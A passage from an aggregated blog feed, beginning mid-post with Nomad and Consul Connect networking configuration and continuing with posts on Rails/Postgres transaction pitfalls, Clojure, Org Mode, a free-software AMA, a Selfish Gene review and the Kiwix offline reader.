<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="hcl"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">    service</span><span> {</span></span>
<span class="giallo-l"><span>      name</span><span style="color: light-dark(#D73A49, #F47067);">     =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">redis</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>      provider</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">consul</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>      port</span><span style="color: light-dark(#D73A49, #F47067);">     =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">6379</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">      connect</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">        sidecar_service</span><span> {</span><span>}</span></span>
<span class="giallo-l"><span>      }</span></span>
<span class="giallo-l"><span>    }</span></span></code></pre>
<p>It’s an empty block because we don’t need to define any upstream here. The rest of the values will be default values.</p>
<p>Next, we create a service for our <code>app</code> and that is a <em>Consul Connect Egress</em>:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="hcl"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">    service</span><span> {</span></span>
<span class="giallo-l"><span>      name</span><span style="color: light-dark(#D73A49, #F47067);">     =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">app</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>      provider</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">consul</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>      port</span><span style="color: light-dark(#D73A49, #F47067);">     =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">app</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">      connect</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">        sidecar_service</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">          proxy</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">            upstreams</span><span> {</span></span>
<span class="giallo-l"><span>              destination_name</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">redis</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>              local_bind_port</span><span style="color: light-dark(#D73A49, #F47067);">  =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 6379</span></span>
<span class="giallo-l"><span>            }</span></span>
<span class="giallo-l"><span>          }</span></span>
<span class="giallo-l"><span>        }</span></span>
<span class="giallo-l"><span>      }</span></span>
<span class="giallo-l"><span>    }</span></span></code></pre>
<p>Here  we define an upstream for <code>redis</code>. If you notice closely, we are using a port number in <em>Consul Connect Ingress</em>. For some reason, if you use a named port instead of 6379 it doesn’t work. I am not entirely sure if it’s a bug or it’s intended to work like this.</p>
<p>So here, when the <code>app</code> wants to talk to redis, it talks to <code>localhost:6379</code> which is the local port that the Envoy sidecar is listening to. We can verify that using <code>netstat</code>:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">$</span><span style="color: light-dark(#032F62, #96D0FF);"> netstat</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">tulpvn</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">Active</span><span style="color: light-dark(#032F62, #96D0FF);"> Internet</span><span style="color: light-dark(#032F62, #96D0FF);"> connections</span><span> (only</span><span style="color: light-dark(#032F62, #96D0FF);"> servers</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">Proto</span><span style="color: light-dark(#032F62, #96D0FF);"> Recv-Q</span><span style="color: light-dark(#032F62, #96D0FF);"> Send-Q</span><span style="color: light-dark(#032F62, #96D0FF);"> Local</span><span style="color: light-dark(#032F62, #96D0FF);"> Address</span><span style="color: light-dark(#032F62, #96D0FF);">           Foreign</span><span style="color: light-dark(#032F62, #96D0FF);"> Address</span><span style="color: light-dark(#032F62, #96D0FF);">         State</span><span style="color: light-dark(#032F62, #96D0FF);">       PID/Program</span><span style="color: light-dark(#032F62, #96D0FF);"> name</span><span>    </span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">tcp</span><span style="color: light-dark(#005CC5, #6CB6FF);">        0</span><span style="color: light-dark(#005CC5, #6CB6FF);">      0</span><span style="color: light-dark(#032F62, #96D0FF);"> 127.0.0.2:19001</span><span style="color: light-dark(#032F62, #96D0FF);">         0.0.0.0:</span><span style="color: light-dark(#005CC5, #6CB6FF);">*</span><span style="color: light-dark(#032F62, #96D0FF);">               LISTEN</span><span style="color: light-dark(#032F62, #96D0FF);">      -</span><span>                   </span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">tcp</span><span style="color: light-dark(#005CC5, #6CB6FF);">        0</span><span style="color: light-dark(#005CC5, #6CB6FF);">      0</span><span style="color: light-dark(#032F62, #96D0FF);"> 0.0.0.0:23237</span><span style="color: light-dark(#032F62, #96D0FF);">           0.0.0.0:</span><span style="color: light-dark(#005CC5, #6CB6FF);">*</span><span style="color: light-dark(#032F62, #96D0FF);">               LISTEN</span><span style="color: light-dark(#032F62, #96D0FF);">      -</span><span>                   </span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">tcp</span><span style="color: light-dark(#005CC5, #6CB6FF);">        0</span><span style="color: light-dark(#005CC5, #6CB6FF);">      0</span><span style="color: light-dark(#032F62, #96D0FF);"> 127.0.0.1:6379</span><span style="color: light-dark(#032F62, #96D0FF);">          0.0.0.0:</span><span style="color: light-dark(#005CC5, #6CB6FF);">*</span><span style="color: light-dark(#032F62, #96D0FF);">               LISTEN</span><span style="color: light-dark(#032F62, #96D0FF);">      -</span><span>                   </span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">tcp6</span><span style="color: light-dark(#005CC5, #6CB6FF);">       0</span><span style="color: light-dark(#005CC5, #6CB6FF);">      0</span><span style="color: light-dark(#032F62, #96D0FF);"> :::8080</span><span style="color: light-dark(#032F62, #96D0FF);">                 :::</span><span style="color: light-dark(#005CC5, #6CB6FF);">*</span><span style="color: light-dark(#032F62, #96D0FF);">                    LISTEN</span><span style="color: light-dark(#032F62, #96D0FF);">      1/./hello.bin</span></span></code></pre>
<p>The traffic is sent from this port to the other Envoy proxy on a port that it advertises (and Consul automagically configured). That Envoy proxy further sends the traffic to the <code>redis</code> container on port 6379. The proxied traffic is securley encrypted via mTLS and authorized (via Consul Intentions - not covered in this post).</p>
<h2 id="scenario-5-exposing-services-to-end-user">Scenario 5: Exposing services to end-user<a class="zola-anchor" href="#scenario-5-exposing-services-to-end-user" aria-label="Anchor link for: scenario-5-exposing-services-to-end-user">#</a></h2>
<p><img src="https://mrkaran.dev/images/nomad_networking_user_facing.png" alt="image" /></p>
<p>In the first scenario, we discussed using static ports. Well, it turns out it’s super helpful if you want to define a Traffic Ingress service. Unlike K8s, Nomad doesn’t have any Ingress Controllers, so the best way is to deploy these web proxies on each node as a <a rel="external" href="https://www.nomadproject.io/docs/schedulers#system">system job</a> (which means it’s ensured to run on every client node) and bind them to a static port (say 443/80). Then, configure your Load Balancers and register all the Nomad nodes as target IPs and their ports would be the static port you define. These Ingress proxies (like HAProxy/Nginx) can then be used to talk to your application via any of the patterns we’ve mentioned above.</p>
<p>Typically, you’d want to use a “Host-Based” routing pattern for your ingress proxy to make a routing decision.</p>
<p>For eg, in case you have an <code>a.example.org</code> DNS record pointing to an ALB. Now, when the request comes to the ALB, it forwards to any one of the NGINX/HAProxy. For HAProxy to correctly route the traffic to `a service, you can use a “Host” header.</p>
<h2 id="summary">Summary<a class="zola-anchor" href="#summary" aria-label="Anchor link for: summary">#</a></h2>
<p>These were some of the common networking patterns that I’m aware of. Since some of these concepts are not really straightforward I hope the explanation helped in bringing some clarity.</p>
<p>There’s much more to this topic like Consul Gateways and multiple kind of CNIs which tweak how networking happens in the cluster but those are some really advanced topics that are out of the scope for this post.</p>
<p>Fin!</p>
]]></content:encoded>
            <author>Karan Sharma</author>
        </item>
        <item>
            <title><![CDATA[Which Clojure codebases should I read? How and why?]]></title>
            <link>https://www.evalapply.org/posts/which-clojure-codebases-to-read-how-and-why/index.html</link>
            <guid isPermaLink="false">https://www.evalapply.org/posts/which-clojure-codebases-to-read-how-and-why/index.html</guid>
            <pubDate>Fri, 29 Apr 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[Newcomers to Clojure so frequently ask this question that an FAQ/Guide is being discussed, to add to the Clojure website. I struggled a lot with the question too, when starting off in Clojureland. Here are my notes and opinions.]]></description>
            <content:encoded><![CDATA[Newcomers to Clojure so frequently ask this question that an FAQ/Guide is being discussed, to add to the Clojure website. I struggled a lot with the question too, when starting off in Clojureland. Here are my notes and opinions.]]></content:encoded>
            <author>Aditya Athalye</author>
            <category>clojure</category>
            <category>howto</category>
            <category>whyto</category>
        </item>
        <item>
            <title><![CDATA[Shell ain't a bad place to FP: part 2/N: Functions as Unix Tools]]></title>
            <link>https://www.evalapply.org/posts/shell-aint-a-bad-place-to-fp-part-2-functions-as-unix-tools/index.html</link>
            <guid isPermaLink="false">https://www.evalapply.org/posts/shell-aint-a-bad-place-to-fp-part-2-functions-as-unix-tools/index.html</guid>
            <pubDate>Wed, 27 Apr 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[Or, the one in which we hand-craft nano Unix tools using Bash functions.]]></description>
            <content:encoded><![CDATA[Or, the one in which we hand-craft nano Unix tools using Bash functions.]]></content:encoded>
            <author>Aditya Athalye</author>
            <category>bash</category>
            <category>unix</category>
            <category>functional_programming</category>
            <category>architecture</category>
        </item>
        <item>
            <title><![CDATA[Why and How I use "Org Mode" for my writing and more]]></title>
            <link>https://www.evalapply.org/posts/why-and-how-i-use-org-mode/index.html</link>
            <guid isPermaLink="false">https://www.evalapply.org/posts/why-and-how-i-use-org-mode/index.html</guid>
            <pubDate>Tue, 19 Apr 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[I find myself telling people that they will have to pry org-mode from my cold dead hands. Which befuddles me. Why, as an ingrate software nerd who has soured on software technology — talk about biting the hand that feeds — do I evince such strong sentiment about a software program?!]]></description>
            <content:encoded><![CDATA[I find myself telling people that they will have to pry org-mode from my cold dead hands. Which befuddles me. Why, as an ingrate software nerd who has soured on software technology — talk about biting the hand that feeds — do I evince such strong sentiment about a software program?!]]></content:encoded>
            <author>Aditya Athalye</author>
            <category>howto</category>
            <category>whyto</category>
            <category>writing</category>
            <category>emacs</category>
            <category>org_mode</category>
            <category>local_first</category>
            <category>notebooks</category>
            <category>knowledge_management</category>
            <category>tools_for_thought</category>
        </item>
        <item>
            <title><![CDATA[Postgres transaction pitfalls for rails developers]]></title>
            <link>https://aboobacker.in/2022/04/12/postgres-transaction-pitfalls-for-rails-developers.html</link>
            <guid isPermaLink="false">https://aboobacker.in/2022/04/12/postgres-transaction-pitfalls-for-rails-developers.html</guid>
            <pubDate>Tue, 12 Apr 2022 07:02:00 GMT</pubDate>
            <description><![CDATA[Rails abstract lot of database stuff away using Active record which is very convenient. But the convenience can bite back if we are not careful enough.
Here I am going to list some common mistakes rails developers make and how to avoid them.
Having network calls on rails after_create/before_create callbacks
Active record provides callback methods to perform some operations based on the changes in data. it includes before_create, after_create, after_commit etc. Rails wrap before_create and after_create inside the same transaction so that it can roll back when the exception is raised from any of these callbacks. after_commit is executed after the transaction is committed to the database. So if you have calls like

class MyModel <ApplicationRecord
  before_create :fetch_data_from_server

  def fetch_data_from_server
    self.attribute = SlowApi.new(self).call
  end
end


The transaction will remain open for long time and that will cause locks and potentially deadlocks on tables.
Solutions:

1. Make network calls before transaction begins, ie before the save method is called

2. Make the API call in after commit callback


Scheduling Background jobs from after_create/before_create callbacks
This is very similar to the previous point, as the backgrounds jobs typically use another data store like Redis and the communication will be over the network. This may not be significant on a small scale if the Redis is in the same infra and network latency is not significant. But any performance degradation on redis infra will cause a sudden spike in long transactions and can potentially cause cascading failures on the infrastructure.
Solutions:

1. Schedule background jobs from after_commit callback
2. Move job scheduling out of rails callbacks


Nested transactions
When you have nested services you might end up with nested transactions as well.

class OrderCreator
  def call
    Order.transaction do
      adjust_currency_conversion
      ...
      InventoryUpdateService.new.call
    end
  end
end

class InventoryUpdateService
  def call
   Inventory.transaction(require_new: true) do
     deduct_inventory_from_primary_store
     run_inventory_sync
   end
  end
end


This can cause performance bottlenecks due to the SAVEPOINT behaviour, Skipping it here as Gilab wrote a great blog on this here
Last but the not least is about adding transaction block where it is not necessary, for instance if there won’t any data corruption if the operations ran individually, or the impact is very minimal which gets fixed on background worker retry, then avoid using database transactions
Also checkout these two great gems which allows us to reduce transaction burdern on database.
after_commit_everywhere
isolator]]></description>
            <content:encoded><![CDATA[<p>Rails abstract lot of database stuff away using Active record which is very convenient. But the convenience can bite back if we are not careful enough.</p>

<p>Here I am going to list some common mistakes rails developers make and how to avoid them.</p>

<ol>
  <li>Having network calls on rails after_create/before_create callbacks</li>
</ol>

<p>Active record provides callback methods to perform some operations based on the changes in data. it includes <code class="language-plaintext highlighter-rouge">before_create</code>, <code class="language-plaintext highlighter-rouge">after_create</code>, <code class="language-plaintext highlighter-rouge">after_commit</code> etc. Rails wrap before_create and after_create inside the same transaction so that it can roll back when the exception is raised from any of these callbacks. after_commit is executed after the transaction is committed to the database. So if you have calls like</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">class</span> <span class="nc">MyModel</span> <span class="o">&lt;</span><span class="no">ApplicationRecord</span>
  <span class="n">before_create</span> <span class="ss">:fetch_data_from_server</span>

  <span class="k">def</span> <span class="nf">fetch_data_from_server</span>
    <span class="nb">self</span><span class="p">.</span><span class="nf">attribute</span> <span class="o">=</span> <span class="no">SlowApi</span><span class="p">.</span><span class="nf">new</span><span class="p">(</span><span class="nb">self</span><span class="p">).</span><span class="nf">call</span>
  <span class="k">end</span>
<span class="k">end</span>
</code></pre></div></div>

<p>The transaction will remain open for long time and that will cause locks and potentially deadlocks on tables.</p>

<p>Solutions:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>1. Make network calls before transaction begins, ie before the save method is called

2. Make the API call in after commit callback
</code></pre></div></div>

<ol>
  <li>Scheduling Background jobs from after_create/before_create callbacks</li>
</ol>

<p>This is very similar to the previous point, as the backgrounds jobs typically use another data store like Redis and the communication will be over the network. This may not be significant on a small scale if the Redis is in the same infra and network latency is not significant. But any performance degradation on redis infra will cause a sudden spike in long transactions and can potentially cause cascading failures on the infrastructure.</p>

<p>Solutions:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>1. Schedule background jobs from after_commit callback
2. Move job scheduling out of rails callbacks
</code></pre></div></div>

<ol>
  <li>Nested transactions</li>
</ol>

<p>When you have nested services you might end up with nested transactions as well.</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">class</span> <span class="nc">OrderCreator</span>
  <span class="k">def</span> <span class="nf">call</span>
    <span class="no">Order</span><span class="p">.</span><span class="nf">transaction</span> <span class="k">do</span>
      <span class="n">adjust_currency_conversion</span>
      <span class="o">...</span>
      <span class="no">InventoryUpdateService</span><span class="p">.</span><span class="nf">new</span><span class="p">.</span><span class="nf">call</span>
    <span class="k">end</span>
  <span class="k">end</span>
<span class="k">end</span>

<span class="k">class</span> <span class="nc">InventoryUpdateService</span>
  <span class="k">def</span> <span class="nf">call</span>
   <span class="no">Inventory</span><span class="p">.</span><span class="nf">transaction</span><span class="p">(</span><span class="ss">require_new: </span><span class="kp">true</span><span class="p">)</span> <span class="k">do</span>
     <span class="n">deduct_inventory_from_primary_store</span>
     <span class="n">run_inventory_sync</span>
   <span class="k">end</span>
  <span class="k">end</span>
<span class="k">end</span>
</code></pre></div></div>

<p>This can cause performance bottlenecks due to the SAVEPOINT behaviour, Skipping it here as Gilab wrote a great blog on this <a href="https://about.gitlab.com/blog/2021/09/29/why-we-spent-the-last-month-eliminating-postgresql-subtransactions/">here</a></p>

<ol>
  <li>Last but the not least is about adding transaction block where it is not necessary, for instance if there won’t any data corruption if the operations ran individually, or the impact is very minimal which gets fixed on background worker retry, then avoid using database transactions</li>
</ol>

<p>Also checkout these two great gems which allows us to reduce transaction burdern on database.</p>

<ol>
  <li><a href="https://github.com/Envek/after_commit_everywhere">after_commit_everywhere</a></li>
  <li><a href="https://github.com/palkan/isolator">isolator</a></li>
</ol>]]></content:encoded>
            <author>Aboobacker M K</author>
        </item>
        <item>
            <title><![CDATA[Free Software Community of India will Do 'Ask Me Anything' on Reddit]]></title>
            <link>https://ravidwivedi.in/posts/fsci-doing-ama-on-reddit/</link>
            <guid isPermaLink="false">https://ravidwivedi.in/posts/fsci-doing-ama-on-reddit/</guid>
            <pubDate>Fri, 08 Apr 2022 20:31:36 GMT</pubDate>
            <description><![CDATA[Free Software Community of India will be doing an ‘Ask Me Anything’ session on r/India subreddit. One of the moderators of the r/India reached out to us via filling the contact form on the website as well as in our chat group. As soon as I saw that the person filled the form, I replied it by email. It took some time for the community to arrive at a date and time for conducting the AMA, but now it is finalized to be 12 April 2022 17:00 IST.
Akshay created a Reddit account for FSCI and shared the credentials. Me, Praveen, Akshay and Arya will be answering the AMA. Hopefully, this will raise awareness about Free Software in India and the existence of our community. Our community is always in the ‘Ask us Anything’ mode because of our welcoming nature and our active lookout for new people to get involved. So if you miss the AMA due to some reason, then you can just ask us in our chat group. AMA is just one more way to ask us questions.
So, tune into r/India subreddit on 12 April at 5 PM IST. Ask me anything. See you there.]]></description>
            <content:encoded><![CDATA[<p>Free Software Community of India <a href="https://fsci.in/blog/fsci-ama-reddit/">will be doing</a> an &lsquo;Ask Me Anything&rsquo; session on r/India subreddit. One of the moderators of the r/India reached out to us via filling the contact form on the website as well as in our chat group. As soon as I saw that the person filled the form, I replied it by email. It took some time for the community to arrive at a date and time for conducting the AMA, but now it is finalized to be 12 April 2022 17:00 IST.</p>
<p>Akshay created a Reddit account for FSCI and shared the credentials. Me, Praveen, Akshay and Arya will be answering the AMA. Hopefully, this will raise awareness about <a href="https://ravidwivedi.in/free-software">Free Software</a> in India and the existence of our community. Our community is always in the &lsquo;Ask us Anything&rsquo; mode because of our welcoming nature and our active lookout for new people to get involved. So if you miss the AMA due to some reason, then you can just ask us in our <a href="https://fsci.in/#join-us">chat group</a>. AMA is just one more way to ask us questions.</p>
<p>So, tune into r/India subreddit on 12 April at 5 PM IST. Ask me anything. See you there.</p>
]]></content:encoded>
            <author>Ravi Dwivedi</author>
        </item>
        <item>
            <title><![CDATA[The Selfish Gene Book Overview]]></title>
            <link>https://ravidwivedi.in/posts/selfish-gene/</link>
            <guid isPermaLink="false">https://ravidwivedi.in/posts/selfish-gene/</guid>
            <pubDate>Fri, 08 Apr 2022 06:09:20 GMT</pubDate>
            <description><![CDATA[Yesterday I finished reading The Selfish Gene by Richard Dawkins. The book reminds me of Daniel Kahneman’s Thinking Fast and Slow, which explores how the human brain makes decisions. In contrast, The Selfish Gene puts forward how genes make decisions and manipulate our decisions for their own benefit, keeping in mind that ‘selfish’ is just a metaphor and a gene has no motive or will of its own. The book presents some very great ideas by other scientists and by the author himself, and for this reason I suggest you to read it.
The larger the percentage of genes shared by the two individuals, the higher the chance of them behaving cooperatively towards each other. Each gene in a human body, and in many organisms from the animal kingdom, has a 50% chance of being in any of the person’s sibling. The same goes for the parents, i.e, Each gene in a human body has a 50% chance to be in each of its parent’s body and 50% chance of being in each offspring’s body. Interesting questions raise from the gene point of view, why then a human body care more for their offspring than its siblings? Why there is an asymmetric relationship between parental care towards the offspring and offspring care towards the parent? After all, genetically, the investment in each individual of that organism is the same.
The book also asks whether parents should invest equally in all their offsprings? How offsprings compete for resources provided by the parent? Parents also try to minimize their effort and investment in the offspring and instead try to manipulate their mate to take more responsibility for the offspring. Why females have a sudden menopause, while males do not go through such a thing?
There are even more interesting questions, such as, why we should look an organism as a whole unit? Why not consider a pack of wolves as a single unit? An organism, like me or you, is made up of complicated parts, each acting somewhat in unity. But what is so special about an organism to treat it as a single unit? Why did the genes or replicators chose to live in complicated bodies like animals?
The arguments and the selfishness surrounding them might make you cynical, but the author is optimistic that humans can be taught to be altruistic, and that gives us one more reason to teach children to be altruistic.]]></description>
            <content:encoded><![CDATA[<p>Yesterday I finished reading <em><a href="https://en.wikipedia.org/wiki/The_Selfish_Gene">The Selfish Gene</a></em> by Richard Dawkins. The book reminds me of Daniel Kahneman&rsquo;s <em>Thinking Fast and Slow</em>, which explores how the human brain makes decisions. In contrast, The Selfish Gene puts forward how genes make decisions and manipulate our decisions for their own benefit, keeping in mind that &lsquo;selfish&rsquo; is just a metaphor and a gene has no motive or will of its own. The book presents some very great ideas by other scientists and by the author himself, and for this reason I suggest you to read it.</p>
<p>The larger the percentage of genes shared by the two individuals, the higher the chance of them behaving cooperatively towards each other. Each gene in a human body, and in many organisms from the animal kingdom, has a 50% chance of being in any of the person&rsquo;s sibling. The same goes for the parents, i.e, Each gene in a human body has a 50% chance to be in each of its parent&rsquo;s body and 50% chance of being in each offspring&rsquo;s body. Interesting questions raise from the gene point of view, why then a human body care more for their offspring than its siblings? Why there is an asymmetric relationship between parental care towards the offspring and offspring care towards the parent? After all, genetically, the investment in each individual of that organism is the same.</p>
<p>The book also asks whether parents should invest equally in all their offsprings? How offsprings compete for resources provided by the parent? Parents also try to minimize their effort and investment in the offspring and instead try to manipulate their mate to take more responsibility for the offspring. Why females have a sudden menopause, while males do not go through such a thing?</p>
<p>There are even more interesting questions, such as, why we should look an organism as a whole unit? Why not consider a pack of wolves as a single unit? An organism, like me or you, is made up of complicated parts, each acting somewhat in unity. But what is so special about an organism to treat it as a single unit? Why did the genes or replicators chose to live in complicated bodies like animals?</p>
<p>The arguments and the selfishness surrounding them might make you cynical, but the author is optimistic that humans can be taught to be altruistic, and that gives us one more reason to teach children to be altruistic.</p>
]]></content:encoded>
            <author>Ravi Dwivedi</author>
        </item>
        <item>
            <title><![CDATA[How To Read Wikipedia Offline]]></title>
            <link>https://ravidwivedi.in/posts/kiwix-app/</link>
            <guid isPermaLink="false">https://ravidwivedi.in/posts/kiwix-app/</guid>
            <pubDate>Thu, 31 Mar 2022 07:26:27 GMT</pubDate>
            <description><![CDATA[Recently I came to know about freedom-respecting Kiwix app and I found it cool. It is a reader for offline reading knowledge sources like Wikipedia or Project Gutenberg. There are many projects which you can download for offline reading, like AskUbuntu, sections of Wikipedia– like, Chemistry, History, Sociology, etc. RationalWiki (my favorite), Ted Talks, Khan Academy, ArchWiki, etc. You can download Wikivoyage and have travel guides for offline reading, as you might not have good internet access on the go. The files are downloaded in the free format .zim which are readable by the Kiwix reader. The files are compressed, which saves disk space and internet data while downloading. Further, the zim files make it easy to index, search, and selectively decompress. It can also export files into HTML and PDF formats.
Screenshot of Kiwix Android app.  License: CC-BY-SA-4.0 

The app is available for download for all the major operating systems– Android, GNU/Linux, iOS, Windows, macOS, Raspberry Pi. In the Android app, you can download content by going to the download section and clicking on the website you would like. For Desktop, just download a zim file from the Kiwix library and open it in the Kiwix app. The project also has a nice wiki documentation.
Screenshot of Kiwix app in PureOS, with offline Wikipedia. License: CC-BY-SA-4.0 

The features make the app very usable for viewing the content offline. Getting the Wikipedia knowledge at one place, while clicking the links referring to the respective pages inside the same offline directory makes it very convenient to use. Check the features page for more details.
As much as I like offline reading due to internet being a distraction, other use cases are even better. The zim files can be downloaded and taken to places which are cut off from internet access, and spread knowledge there. Defector NGOs use Kiwix-desktop to smuggle knowledge of the outside world to North Korea, where internet is almost non-existent with extreme amounts of censorship. In Ghana, where schools have access to computers but not internet, a project downloaded Kiwix and the full English Wikipedia and Wiktionary on a portable hard drive and transferred it to school computer labs. Quoting the project, “Fewer than 10 percent of students had ever accessed Wikipedia before the training took place. Now half the students say the new resource has influenced their studies.”
You can use a Raspberry Pi to create a local server which can be used to access the downloaded content from 25 devices, which is another cool feature.
When I downloaded the 87 GB Wikipedia zim file, I ran into an immediate problem: I couldn’t copy it into my USB drive due to FAT32 filesystem which can’t store files bigger than 4 GB. So, I backed up all the data on my USB drive and used this tutorial to format my USB drive into exFAT format, which supports larger file sizes.
A drawback in the current form is that incrememtal updates are not available, which means if you download Wikipedia on 1 Feb 2022, and now you want the changes till date, then you cannot just update the changes, you need to download from scratch. The project is working on such features.
I already started using Kiwix app almost exclusively for offline reading. Try it and I am sure you will find something useful for you.
The project relies on user donations, so I would like to urge you to support the Kiwix project by making donations.
Finally, I leave you with some more screenshots of Kiwix. Enjoy :)
Me reading AskUbuntu forum offline in my machine. License: CC-BY-SA-4.0 



Kiwix Desktop homepage. License: CC-BY-SA-4.0 



Reading RationalWiki on Kiwix Android. License: CC-BY-SA-4.0 



Wikimed on Kiwix app. License: CC-BY-SA-4.0]]></description>
            <content:encoded><![CDATA[<p>Recently I came to know about <a href="https://ravidwivedi.in/free-software">freedom-respecting</a> <a href="https://kiwix.org">Kiwix app</a> and I found it cool. It is a reader for offline reading knowledge sources like <a href="https://wikipedia.org">Wikipedia</a> or <a href="https://www.gutenberg.org/">Project Gutenberg</a>. There are many projects which you can download for offline reading, like AskUbuntu, sections of Wikipedia&ndash; like, Chemistry, History, Sociology, etc. RationalWiki (my favorite), Ted Talks, Khan Academy, ArchWiki, etc. You can download Wikivoyage and have travel guides for offline reading, as you might not have good internet access on the go. The files are downloaded in the <a href="https://ravidwivedi.in/glossary/#free-format">free format</a> <a href="https://en.wikipedia.org/wiki/ZIM_(file_format)">.zim</a> which are readable by the Kiwix reader. The files are compressed, which saves disk space and internet data while downloading. Further, the zim files make it easy to index, search, and selectively decompress. It can also export files into HTML and PDF formats.</p>
<figure>
<img src="https://ravidwivedi.in/images/kiwix-screenshot.png" style="width:256px">
<figcaption><i>Screenshot of Kiwix Android app. </i> License: <a href="https://creativecommons.org/licenses/by-sa/4.0/">CC-BY-SA-4.0</a> </figcaption>
</figure>
<p>The app is <a href="https://www.kiwix.org/en/download/">available for download</a> for all the major operating systems&ndash; Android, GNU/Linux, iOS, Windows, macOS, Raspberry Pi. In the Android app, you can download content by going to the download section and clicking on the website you would like. For Desktop, just download a zim file from <a href="https://library.kiwix.org/">the Kiwix library</a> and open it in the Kiwix app. The project also has a nice <a href="https://wiki.kiwix.org">wiki documentation</a>.</p>
<figure>
<img src="https://ravidwivedi.in/images/kiwix-desktop.png" style="width:700px">
<figcaption><i>Screenshot of Kiwix app in PureOS, with offline Wikipedia.</i> License: <a href="https://creativecommons.org/licenses/by-sa/4.0/">CC-BY-SA-4.0</a> </figcaption>
</figure>
<p>The features make the app very usable for viewing the content offline. Getting the Wikipedia knowledge at one place, while clicking the links referring to the respective pages inside the same offline directory makes it very convenient to use. Check the <a href="https://wiki.kiwix.org/wiki/Features">features page</a> for more details.</p>
<p>As much as I like offline reading due to internet being a distraction, other use cases are even better. The zim files can be downloaded and taken to places which are cut off from internet access, and spread knowledge there. Defector NGOs <a href="https://www.kiwix.org/en/about/stories/north-korea/">use Kiwix-desktop to smuggle</a> knowledge of the outside world to North Korea, where <a href="https://en.wikipedia.org/wiki/Internet_in_North_Korea">internet is almost non-existent</a> with <a href="https://en.wikipedia.org/wiki/Censorship_in_North_Korea">extreme amounts of censorship</a>. In Ghana, where schools have access to computers but not internet, <a href="https://www.kiwix.org/en/about/stories/ghana/">a project</a> downloaded Kiwix and the full English Wikipedia and Wiktionary on a portable hard drive and transferred it to school computer labs. <a href="https://www.kiwix.org/en/about/stories/ghana/">Quoting the project</a>, &ldquo;Fewer than 10 percent of students had ever accessed Wikipedia before the training took place. Now half the students say the new resource has influenced their studies.&rdquo;</p>
<p>You can <a href="https://www.kiwix.org/en/cardshop-access/">use a Raspberry Pi</a> to create a local server which can be used to access the downloaded content from 25 devices, which is another cool feature.</p>
<p>When I downloaded the 87 GB Wikipedia zim file, I ran into an immediate problem: I couldn&rsquo;t copy it into my USB drive due to FAT32 filesystem which can’t store files bigger than 4 GB. So, I backed up all the data on my USB drive and <a href="https://newtocode.wordpress.com/2014/02/12/format-usb-as-exfat-in-ubuntu-13-10-terminal/">used this tutorial</a> to format my USB drive into exFAT format, which supports larger file sizes.</p>
<p>A drawback in the current form is that incrememtal updates are not available, which means if you download Wikipedia on 1 Feb 2022, and now you want the changes till date, then you cannot just update the changes, you need to download from scratch. The project is working on such features.</p>
<p>I already started using Kiwix app almost exclusively for offline reading. Try it and I am sure you will find something useful for you.</p>
